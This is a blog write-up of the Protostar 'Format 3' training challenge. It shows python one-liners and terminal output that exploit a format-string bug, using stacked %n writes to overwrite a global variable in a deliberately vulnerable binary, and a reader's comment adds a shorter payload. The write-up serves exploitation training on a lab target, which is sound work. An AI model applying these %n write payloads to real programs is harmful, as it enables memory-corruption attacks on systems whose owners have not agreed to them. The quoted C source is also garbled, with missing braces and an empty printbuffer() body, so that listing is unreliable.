Saturday, December 22, 2012

exploit-exercises Protostar: Format 3

A new write-up, and a new challenge. This time, with Exploit-exercises' Format 3 challenge of the Protostar wargame. We are tasked to exploit a vulnerable program with the following source code:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void printbuffer(char *string)

void vuln()
        char buffer[512];
        fgets(buffer, sizeof(buffer), stdin);

        if(target == 0x01025544) {
                printf("you have modified the target :)\n");
        } else {
                printf("target is %08x :(\n", target);

int main(int argc, char **argv)
Looks pretty much like last challenge's, with two differences. First, the vulnerable printf() call is within printbuffer() function which is called in vuln(). We will be a bit further down the stack when exploiting the format string vulnerability. In other terms, the parameter position that allows us to access the start of our input will be higher.
user@protostar:/opt/protostar/bin$ python -c 'print "AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x"' | ./format3
target is 00000000 :(
We will start from position 12.
user@protostar:/opt/protostar/bin$ python -c 'print "AAAA%12$x"' |

target is 00000000 :(

user@protostar:/opt/protostar/bin$ objdump -t ./format3 | grep target
080496f4 g     O .bss   00000004              target

user@protostar:/opt/protostar/bin$ python -c 'print "\xf4\x96\x04\x08%12$n"' | ./format3
target is 00000004 :(
The second is that we will have to write a multi-byte number to target. Using a huge offset would be both ugly and not possible.
user@protostar:/opt/protostar/bin$ python -c 'print "\xf4\x96\x04\x08%10000000000x%12$n"' | ./format3
��target is 00000000 :(
Thus, we will make multiple writes, one for each byte (or two). We start by setting the addresses of the bytes that we will write to.
user@protostar:/opt/protostar/bin$ python -c 'print "\xf4\x96\x04\x08\xf5\x96\x04\x08\xf6\x96\x04\x08%x%12$n%x%13$n%x%14$n"' | ./format3
target is 001d150d :(
And start overwriting the bytes.
user@protostar:/opt/protostar/bin$ python -c 'print
"\xf4\x96\x04\x08\xf5\x96\x04\x08\xf6\x96\x04\x08%56x%12$n%x%13$n%x%14$n"' | ./format3

������                                                       0bffff5d0b7fd7ff4
target is 00544c44 :(
with a mental calculation and testing, we arrive to:

user@protostar:/opt/protostar/bin$ python -c 'print
"\xf4\x96\x04\x08\xf5\x96\x04\x08\xf6\x96\x04\x08%56x%12$n%17x%13$n%173x%14$n"' | ./format3

������                                                       0         bffff5d0
you have modified the target :)

1 comment:

  1. Funny story, I actually tried out doing it the long way and it totally works. I used:
    python -c 'print "\xf4\x96\x04\x08%16930112x%12$n"' | ./format3. Clearly not what was intended, but it does work.